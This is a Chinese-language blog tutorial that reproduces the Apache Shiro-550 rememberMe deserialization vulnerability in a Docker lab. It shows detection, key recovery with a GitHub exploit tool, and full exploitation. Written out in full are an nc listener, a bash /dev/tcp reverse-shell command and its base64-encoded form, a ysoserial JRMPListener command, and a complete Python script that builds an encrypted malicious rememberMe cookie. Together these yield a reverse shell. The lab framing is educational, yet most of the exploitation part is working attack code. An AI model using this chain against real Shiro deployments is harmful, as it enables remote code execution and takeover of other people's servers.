天天看點

Shiro-550反序列化漏洞複現及漏洞利用複現總結

Shiro-550反序列化漏洞複現及漏洞利用複現總結

    • 前言
    • 什麼是序列化?
    • 什麼是反序列化?
    • 環境搭建
      • 環境說明
      • 判斷是否存在Shiro反序列化漏洞
    • Shiro rememberMe反序列化漏洞(Shiro-550)複現
      • 環境說明
      • 漏洞原理
      • 漏洞特征
      • 漏洞版本
      • 複現過程
      • Shiro-550漏洞利用
        • 反彈shell
    • 參考

前言

最近參與某項工作,有很多東西都需要補充學習,本文根據一些視訊教程和網頁部落格總結而來,很多網站都存在這反序列化漏洞,學習一下作為知識儲備,通過寫這篇blog也幫助我理清思路。

什麼是序列化?

    面向對象語言在存儲對象的時候有一個很難存儲的問題,就考慮将對象轉換成字元串進行持久化存儲,可以友善網絡傳輸。即一個對象序列化,轉化成字元串,然後傳輸給别人,再反序列化回來,即可做到網絡傳輸。

什麼是反序列化?

    與序列化相反,反序列化就是将字元串轉換成對象的過程。

環境搭建

環境說明

  • kali:Linux kali 5.10.0-kali3-amd64

判斷是否存在Shiro反序列化漏洞

  1. 在指令行中輸入:

    apt-get install docker

    (如果此處出現無法定位軟體包的問題,可以使用指令

    apt-get update

    更新一下)
    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  2. 輸入

    apt-get install docker-compose

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  3. 安裝好後,使用

    reboot

    指令重新開機一下
  4. 啟動服務:

    service docker start

    (這裡的服務每次開機都需要重新啟動一下)

    使用指令後,會出現一個會話框,輸入kali目前使用者的密碼即可。

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  5. 輸入指令下載下傳shiro:

    docker pull medicean/vulapps:s_shiro_1

    (這個應該要在root下進行,或者普通使用者sudo一下)
    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  6. 開啟shiro:

    docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  7. 開啟後,在kali自帶的火狐浏覽器中輸入

    localhost

    或者

    本機的ip位址

    即可:
    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  8. 點選

    Log in

    ,任意輸入賬号和密碼,勾選

    remember me

    。(此時打開火狐的代理,在擴充元件中添加,并設定ip和端口與Burp中對應,此處我是127.0.0.1和8080)
    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  9. 打開kali中的抓包工具,此處使用Burp Suite,開啟抓包:
    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  10. 回到網頁,點選

    Login

    ,再次回到Burp Suite,Burp已經抓到包,滑鼠右鍵—選擇

    send to Repeater

    發送給重發器—點選工具欄上的

    Repeater

    :
    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  11. 進入重發器

    Repeater

    之後,點選轉發

    send

    ,可以看到傳回的包中含有字段

    remenberMe=deleteMe

    ,說明存在Shiro反序列化漏洞:
    Shiro-550反序列化漏洞複現及漏洞利用複現總結

Shiro rememberMe反序列化漏洞(Shiro-550)複現

環境說明

  • python 2.7
  • kali Linux

漏洞原理

Apache Shiro架構提供了記住密碼的功能(Remember Me),目前這個功能在很多網站上都存在,使用者在登入一個網站的時候,登入的資訊會被序列化、加密并編碼,在請求服務的時候,服務端會對Remember Me中存的cookie值,先解碼和解密,然後再反序列化,這裡就存在着反序列化RCE漏洞。

漏洞特征

  • 使用抓包工具截取的時候,傳回包中包含rememberMe=deleteMe字段

漏洞版本

  • Apache Shiro < 1.2.4

複現過程

  1. 在github上下載下傳exp工具(github上有很多這樣的工具,可以根據自己的需求進行下載下傳):

    github下載下傳位址:https://github.com/insightglacier/Shiro_exploit

    網盤下載下傳位址:https://pan.baidu.com/s/1i–OYUMKD20V7B8fW028Og(提取碼:36yr)

    下載下傳之後是一個zip檔案:

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  2. 下載下傳完畢之後,複制到kali中,使用指令

    unzip -o 檔案名

    進行解壓,解壓之後,繼續在終端中輸入指令

    pip install pycrypto

    安裝相關的包(此處可能需要先執行指令安裝pip)
  3. 執行指令:

    python shiro_exploit.py -u http://192.168.14.128:80

    (後面位址為

    本機ip位址:開啟Shiro步驟的端口一緻

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
    4. 此時擷取到了一個Shiro Key:kPH+bIxk5D2deZiIxcaaaA==

Shiro-550漏洞利用

反彈shell

    可以利用反彈得到的Shiro Key進行shell的反彈,反彈的原理可以看一下我之前的blog,有一些關于反彈shell的複現,如果隻想看懂下文,看這一篇即可:https://blog.csdn.net/weixin_44283446/article/details/115133751?spm=1001.2014.3001.5501

  1. 在監聽方開啟監聽(端口可以變化):

    nc -nlvp 1231

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  2. 在被監聽方執行指令:

    bash -i >& /dev/tcp/監聽方的ip位址/1231 0>&1

    (這個地方端口的設定和監聽方要一緻)

    Java Runtime 提供了線上編碼位址:http://www.jackson-t.ca/runtime-exec-payloads.html,将

    bash -i >& /dev/tcp/監聽方的ip位址/1231 0>&1

    輸入進去,就可以得到比對Bash的編碼,在被監聽方執行這個

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0LjEyOC8xMjMxIDA+JjE=}|{base64,-d}|{bash,-i}

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  3. 使用

    ysoserial.jar

    檔案中JRMP監聽子產品,監聽6666端口并執行反彈shell指令

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

    ,其中

    ysoserial.jar

    在github上下載下傳下來的

    Shiro_Exploit-master

    包中帶有:
    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  4. 建立一個

    Shiro.py

    檔案,輸入以下代碼:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 此處使用前面拿到的Shiro Key
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())
           

使用指令

python shiro.py 被監聽方ip位址:6666

執行

Shiro.py

生成payload:

Shiro-550反序列化漏洞複現及漏洞利用複現總結
  1. 利用得到的rememberMe的值去構造資料包,生成cookie,發送payload。回到Buip Suite,在抓到的包中添加remenberMe的值,添加完畢後點選

    forword

    Shiro-550反序列化漏洞複現及漏洞利用複現總結
  2. 點選

    forword

    後,回到kali,拿到反彈shell:
    Shiro-550反序列化漏洞複現及漏洞利用複現總結

參考

https://cloud.tencent.com/developer/article/1657019

https://www.cnblogs.com/xiaozi/p/13239046.html

https://xz.aliyun.com/t/8445

繼續閱讀